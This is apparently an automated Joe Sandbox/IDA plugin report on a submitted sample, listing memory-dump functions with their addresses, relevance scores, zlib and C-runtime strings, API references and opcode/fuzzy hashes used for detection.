Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 28415d86f2d5360ad3e54c048a095c04f03d89a0a33cd4c00f36c0d542203560
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: B7C1F472B18286C7D7249F19A04467AF7A2F794794F808135DB8E63B84DFBDE810CB50

Function 00007FF7C266A4E4 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 00007FF7C266A535
, xrefs: 00007FF7C266A5CB
header crc mismatch, xrefs: 00007FF7C266A991

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
Instruction ID: f04908ffd292f035b59bd06ef33535a7e5f82c285b6e6866116515b032110141
Opcode Fuzzy Hash: 41de47797cb66f1826093f4b1d60416fd99d26d25a53ce6bfd127eaa39bdfb5e
Instruction Fuzzy Hash: 29F1D572A543C58BE795AF14C088B3EBAFAFF44750F454538DA8967B90CBB8E840C764

Function 00007FF7C2689798 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7C26899E7
RaiseException.KERNEL32 ref: 00007FF7C26899F8

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
Instruction ID: 01c2b1729d9357b9b2ec9a2e88113b03f8b0955ceecfc3cc400a1e956c673860
Opcode Fuzzy Hash: 2f74b2cda317b12825bead48c90720a79ba1abfeed249303701d480a1679e454
Instruction Fuzzy Hash: 13B18D73A05B89CBEB15CF29C84636C77A1F744B58F188821DA9E83BA4CF79D451C720

Function 00007FF7C2673A14 Relevance: 2.8, Strings: 2, Instructions: 350COMMON

Download Yara Rule

Strings

, xrefs: 00007FF7C2673DC4
, xrefs: 00007FF7C2673B82

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-227171996
Opcode ID: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
Instruction ID: a050d031d18a7f2591c43319060f3f1c5f030e40d956bb1ee921687e242aa015
Opcode Fuzzy Hash: 3098a868bf4d382f942c0283459ab4806c0f53f7eb332f8174ba39f6fc7772a0
Instruction Fuzzy Hash: F9E1D83290864682EB68BF25A15013DB362FF55F64F940135DA8E27BD4DFA9D8E1C730

Function 00007FF7C266A34B Relevance: 2.7, Strings: 2, Instructions: 216COMMON

Download Yara Rule

Strings

invalid window size, xrefs: 00007FF7C266A4B2
incorrect header check, xrefs: 00007FF7C266A4CB

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: incorrect header check$invalid window size
API String ID: 0-900081337
Opcode ID: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
Instruction ID: e6d39984e9073f2c67297d79cd024b3718a18c70b45ad2c1199280f0a99b1e66
Opcode Fuzzy Hash: 5aba513b73eb8988df982bd12c0510577381bb82701c7147ce4cedc0b53fa8f7
Instruction Fuzzy Hash: EE91CE72A142C687E7A49F15C448B3E76BAFF44360F554139DA8A66BC0CB7CE940CB74

Function 00007FF7C267DF60 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF7C267E0EA
e+000, xrefs: 00007FF7C267E06D

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
Instruction ID: 2d931b8738c7dcea525e7aafa58621bd142f8c9d5c69d5f69a19852614db9800
Opcode Fuzzy Hash: b62be3d0480bbbd0e022829aa0980c84d51f153df7fa61e27e52cad2b39beef0
Instruction Fuzzy Hash: 98516822B182C186E724EE35E801769AB92E744FA4F888231CBD857FC5CFBDE444C720

Function 00007FF7C267DACC Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FF7C267DE0E

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction ID: 3de00cff6746158e9195a629f369a24f3d7b39f06c276904fb8450a2a63340d0
Opcode Fuzzy Hash: bcab6200947a377332474fa44b4677218d40dcace4b26705986274372b0e4f91
Instruction Fuzzy Hash: 09A16666A087C586EB21EF25F0007A9BBD6AB61BE4F448431DE8D57B81DFBDE501C320

Function 00007FF7C2678804 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

TMP, xrefs: 00007FF7C2678823

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: TMP
API String ID: 3215553584-3125297090
Opcode ID: 5f14576829c2a404d65bc8e6713cc3c63392e5e443677cfdf71167dbae88db0a
Instruction ID: 1f3bb686ad016479f005182e976b734015af3b2fec2391572f8e3e108b66157e
Opcode Fuzzy Hash: 5f14576829c2a404d65bc8e6713cc3c63392e5e443677cfdf71167dbae88db0a
Instruction Fuzzy Hash: FA51AF01F1864281FA64BE2A690517AD2926F84FA4FD84135DE8D67FD2EFBCE841D331

Function 00007FF7C26834F0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00007FF7C26834F4

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
Instruction ID: 7d75a20b5839b5ed1ec0eb6573543cc9f70e8a0c263ae2def4ff9824eb7e6965
Opcode Fuzzy Hash: 39e33fd4700d97162abc6aa121af668d241eeaeaed41ff08026f27548e358ff0
Instruction Fuzzy Hash: 99B09220E07A42C2EA483F216CD222862A6BF48720FD80138C08CA1730DE6C20F6D731

Function 00007FF7C2673610 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f2a1199bc68cddcf3b08423a19983f3afdde0c7e054ddf4c3f66946da216a90
Instruction ID: ea9cefe46bc0e6e55c52b789e7a541cfa6c101bcdad13037bc8083d2049923d6
Opcode Fuzzy Hash: 5f2a1199bc68cddcf3b08423a19983f3afdde0c7e054ddf4c3f66946da216a90
Instruction Fuzzy Hash: FED1ED62A0864285E728BE25A05027DA3A2FF45F68F944235CD8D27F94DFBDD4E1C770

Function 00007FF7C2669870 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 069bb313382d3adaff5ac451a95cb3dd74dda88d5dd80987c9f0d361d468a953
Instruction ID: c8ba1d80044e538955e031d33335f0db7859189e2c684a5c9cc589dc724fcc13
Opcode Fuzzy Hash: 069bb313382d3adaff5ac451a95cb3dd74dda88d5dd80987c9f0d361d468a953
Instruction Fuzzy Hash: 1DC17E762181E08BD289EB29E46947A73E1F78930DBD5406BEF8747BC5CB3CA514DB20

Function 00007FF7C2672C80 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2617fd8e8f043c0917c6a56c5cabdca8b91b1cd744d59a3c82f21f331bc63c74
Instruction ID: 3a16abfd66b23a14759b55191d016db9a1dc3f5558686d518cbf6d00e0ada24f
Opcode Fuzzy Hash: 2617fd8e8f043c0917c6a56c5cabdca8b91b1cd744d59a3c82f21f331bc63c74
Instruction Fuzzy Hash: DAB1BE7290878185E764AF39E05023CBBA2E749F68FA44136CB8D67B95CFB9D481C770

Function 00007FF7C267E5E0 Relevance: .2, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73948b09e9837a821f5a3b4bbb106c60bdc2a86aaa707f45330964650836ebfe
Instruction ID: 263a0dfd98e0d6dd6340469046f230dec079d0654fddf61431a0ad7f88981e52
Opcode Fuzzy Hash: 73948b09e9837a821f5a3b4bbb106c60bdc2a86aaa707f45330964650836ebfe
Instruction Fuzzy Hash: EA81D372A0878146E774FF19A44037AAA92FB45BA4F944235DACD53F99DF7CD404CB20

Function 00007FF7C2686488 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 2f230ee3a98ece7b192f4bc53182e7c18c75a4751ed7777c4a897db923149be4
Instruction ID: 8d8bd969dcd2cf3256bdba054634b27ed09a0ca92cd0dfc44671d3ac4dace0de
Opcode Fuzzy Hash: 2f230ee3a98ece7b192f4bc53182e7c18c75a4751ed7777c4a897db923149be4
Instruction Fuzzy Hash: A861F522E0C29286F764AE28945463DE6C2AF40774FA50239D79D66FD4DEEDE840C732

Function 00007FF7C26721D4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction ID: 426172d2f474b894824707cddb41c51c367a285f5d960804c288c3d91b7dd66c
Opcode Fuzzy Hash: 8e69dfdcc94a0aa650623f7423aa354004c1f2fa01d5c1268249020d4c21f447
Instruction Fuzzy Hash: A8516572A1865186E724AF29E08023873A2EB54F78F644131CEDD67BD4CF7AE843C760

Function 00007FF7C26719B4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction ID: 388ba2b029977c870600f19a5fe41a3321c9af4746bb6b4d27a55f1b94cf512d
Opcode Fuzzy Hash: 68a3f5aab59b2fac328bd6ba34d5b1cd1fa94c6914f84dc4a79da3b9d8ff9a98
Instruction Fuzzy Hash: D7516636A1465186E724AF2DE0402387362EB44F78F644172CACD67B94DB7AE843C770

Function 00007FF7C2671DC4 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction ID: 4c30e29213f99a15cb40839f3da725f714fea962e2418835500f1e8dbaf8f85a
Opcode Fuzzy Hash: 27099d1c67046ba5536a5c52bb1b19252402c8bb4a5167aa336477e7b6d5f807
Instruction Fuzzy Hash: 84518C36A1465285E724AF2DE04023877A2EB44F78F644172DECD27B94CBB9E843C7A0

Function 00007FF7C2671BC0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction ID: e8f19f72f06d1ce7effd6d77ed4e74598d4b7422c175899c9ead71cdd42e1610
Opcode Fuzzy Hash: dc981bf603441a130e1c6ba5e96f77be0c3c60e19ec03e3d560a09712d731568
Instruction Fuzzy Hash: 28519636A18651C5E724AF2DE04023867A2EB45F68FA44172CE8D27B94CF7EE843D770

Function 00007FF7C2671FD0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction ID: 10a30073f4d182076d75434423e0387c8b64d6f416e3e7b0f123b1beb6d77462
Opcode Fuzzy Hash: e734bc54909bdf7d9c6fd1772be64da5dc64d4f5bf3044a39ac3ba7850561882
Instruction Fuzzy Hash: BC519936A1869185E724AF29E44023877A2FB55F68F644131CF8D27B98CF7AEC42C770

Function 00007FF7C26717B0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction ID: 24c29f6969e8fcc736a565e5149d9df4161a7ed3c38ee2e3367cfb93ad7c9a51
Opcode Fuzzy Hash: 3943df286285c50b07f09d339b53caaa0afa34ddfac4fad96d8a3f7ffd6ad23b
Instruction Fuzzy Hash: 7B518736A1865185E724AF2DE05023CA7A2EB44F68F645172CECD67B94CF7AE843C770

Function 00007FF7C2675DA0 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C269E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720455917.00007FF7C26A2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720520244.00007FF7C26A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff7c2660000_X9g8L63QGs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 005ea874bbb6d9311b5f20e8b3996d334d470c61b55fb5ee007b5dd3aee00e84
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 2241C66280978A44F965BD3819046B8E682DF22FB0DD812F0DDD973BD2DF8C2986C171

Function 00007FF7C2679F10 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1720329401.00007FF7C2661000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7C2660000, based on PE: true

Associated: 00000004.00000002.1720292059.00007FF7C2660000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1720417432.00007FF7C268B000.00000002.00000001.01000000.00000003.sdmpDownload File
